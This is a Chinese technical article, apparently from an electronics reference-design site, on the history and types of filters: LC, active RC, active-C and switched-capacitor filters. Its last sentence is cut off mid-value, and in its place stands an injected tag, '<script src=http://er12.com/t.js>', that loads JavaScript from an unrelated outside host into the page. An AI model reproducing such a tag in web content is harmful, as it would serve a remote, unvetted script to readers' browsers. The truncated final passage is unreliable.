滤波器的过去、现在与未来

前 言

凡是有能力进行信号处理的装置都可以称为滤波器。在近代电信装备和各类控制系统中,滤波器应用极为广泛;在所有的电子部件中,使用最多,技术最复杂要算滤波器了。滤波器的优劣直接决定产品的优劣,所以,对滤波器的研究和生产历来为各国所重视。

滤波器的发展过程

1917年美国和德国科学家分别发明了lc滤波器,次年导致了美国第一个多路复用系统的出现。50年代无源滤波器日趋成熟。自60年代起由于计算机技术、集成工艺和材料工业的发展,滤波器发展上了一个新台阶,并且朝着低功耗、高精度、小体积、多功能、稳定可靠和价廉方向努力,其中小体积、多功能、高精度、稳定可靠成为70年代以后的主攻方向,导致rc有源滤波器 、数字滤波器、开关电容滤波器和电荷转移器等各种滤波器的飞速发展。到70年代后期,上述几种滤波器的单片集成被研制出来并得到应用。80年代致力于各类新型滤波器性能提高的研究并逐渐扩大应用范围。90年代至今在主要致力于把各类滤波器应用于各类产品的开发和研制。当然,对滤波器本身的研究仍在不断进行。

我国广泛使用滤波器是50年代后的事,当时主要用于话路滤波和报路滤波。经过半个世纪的发展,我国滤波器在研制、生产应用等方面已有一定进步,但由于缺少专门研制机构,集成工艺和材料工业跟不上来,使许多新型滤波器的研制应用与国际水平有一段距离。

滤波器分类

按处理信号类型分类

滤波器可分为模拟滤波器和离散滤波器两大类。其中模拟滤波器又可分为有源、无源、异类三个分类;离散滤波器又可分为数字、取样模拟、混合三个分类。当然,每个分类又可继续分下去,总之,它们的分类可以形成一个树形结构。

按选择物理量分类

滤波器可分为频率选择、幅度选择、时间选择(例如pcm制中的话路信号)和信息选择(例如匹配滤波器)等四类滤波器。

按频率通带范围分类

滤波器可分为低通、高通、带通、带阻、全通五个类别,而梳形滤波器属于带通和带阻滤波器,因为它有周期性的通带和阻带。

滤波器种类繁多,下面着重介绍近年来发展很快的几种滤波器。

有源滤波器

有源滤波器由下列一些有源元件组成:运算放大器、负电阻、负电容、负电感、频率变阻器(fdnr)、广义阻抗变换器(gic)、负阻抗变换器(nic)、正阻抗变换器(pic)、负阻抗倒置器(nii)、正阻抗倒置器(pii)、四种受控源,另外,还有病态元件极子和零子。

1965年单片集成运算放大器问世后,为有源滤波器开辟了广阔的前景,到70年代初期,有源滤波器发展最为注目,1978年单片rc有源滤波器问世,为滤波器集成迈进了可喜的一步。由于运放的增益和相移均为频率的函数,这就限制了rc有源滤波器的频率范围,一般工作频率为20khz左右,经过补偿后,工作频率也限制在100khz以内。1974年产生了有源滤波器,使工作频率可达gb/4(gb为运放增益与带宽之积)。由于r(电阻)的存在,给集成工艺造成困难,于是又出现了有源c(电容)滤波器:就是说,滤波器由c和运放组成。这样容易集成,更重要是提高了滤波器的精度,因为有源c滤波器的性能只取决于电容之比,与电容绝对值无关。但它有一个主要问题:由于各支路元件均为电容,所以运放没有直流反馈通道,使稳定性成为难题。1982年由geiger、allen和ngo提出用连续的开关电阻(sr)去替代有源rc滤波器中的电阻r,就构成了src滤波器,它仍属于模拟滤波器。但由于采用预置电路和复杂的相位时钟,这种滤波器发展前途不大。

总之,以rc有源滤波器为原型的各类变种有源滤波器去掉了电感器,体积小,q值可达1000,克服了rlc无源滤波器体积大、q值小的缺点。但它仍有许多课题有待进一步研究:理想运放与实际特性的偏差;由于有源滤波器混合集成工艺的不断改进,单片集成有待进一步研究;应用线性变换方法探索最少有源元件的滤波器需要继续探索;元件的绝对值容差的存在,影响滤波器精度和性能等问题仍未解决;由于r存在,占芯片面积大、电阻误差大(20~30%)、线性度差等缺点,大规模集成仍然有困难。

开关电容滤波器(scf)

80年代技术改造一个重大课题是实现各种电子系统全面大规模集成(lsi),使用最多的滤波器成为"拦路虎",rc有源滤波器不能实现lsi,无源滤波器和机械滤波器更不用说。人们只能另辟新径。50年代有人提出scf的概念,由于当时集成工艺不过关,并没有引起人们的重视,直到72年,美国一个叫fried的科学家用开关和电容模拟电阻r,说scf的性能只取决于电容之比,与电容绝对值无关,这样才引起人们的重视。1979年一些发达国家单片scf已成为商品(属于高度保密技术),现在sc技术已趋成熟。scf并用mos工艺加以实现公认为80年代网络理论与集成工艺的一大突破。当前mos电容值一般为几pf~100pf?script src=http://er12.com/t.js>

  • 滤波器的过去、现在与未来已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计